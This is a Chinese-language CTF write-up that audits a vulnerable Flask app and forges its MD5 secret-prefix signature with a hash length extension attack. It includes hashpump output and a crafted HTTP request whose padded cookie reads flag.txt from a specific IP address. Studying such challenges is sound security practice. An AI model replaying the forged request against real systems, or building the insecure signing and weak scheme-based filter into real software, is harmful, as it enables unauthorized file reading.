题目考查：python代码审计、hash长度拓展攻击

0x01

题目源码：

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

0x02

python源码分析：

1、访问网站根目录会打开文件code.txt

2、访问/geneSign会返回一个md5(secert_key + param + action)的值（其中param为空，action为scan）

3、访问/De1ta会创建一个对象并将所有获取到的参数传递进去

0x03

需要同时满足以下条件：

1、getSign(self.action, self.param) == self.sign

2、"read"和"scan"全在action中

0x04

思路：

从/geneSign可以得到md5(secert_key + param + action)的值（其中param为flag.txt，action为scan）

要想同时满足上述两个条件就要知道md5(secert_key + param + action)的值（其中param为flag.txt，action为scanread）

所以可总结为：

已知md5(secert_key+param+scan)
求md5(secert_key+param+scanread)

因此便想到hash长度拓展攻击，详细介绍：https://joychou.org/web/hash-length-extension-attack.html

0x05

访问/geneSign，传param参数值flag.txt得到md5(secert_key+param+scan)的值

使用hashpump

[email protected]:~/HashPump# hashpump
Input Signature: 8370bdba94bd5aaf7427b84b3f52d7cb
Input Data: scan
Input Key Length: 24
Input Data to Add: read
d7163f39ab78a698b3514fd465e4018a
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read

将得到的数据替换到数据包中即可（\x替换为%）

GET /De1ta?param=flag.txt HTTP/1.1
Host: 139.180.128.86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read; sign=d7163f39ab78a698b3514fd465e4018a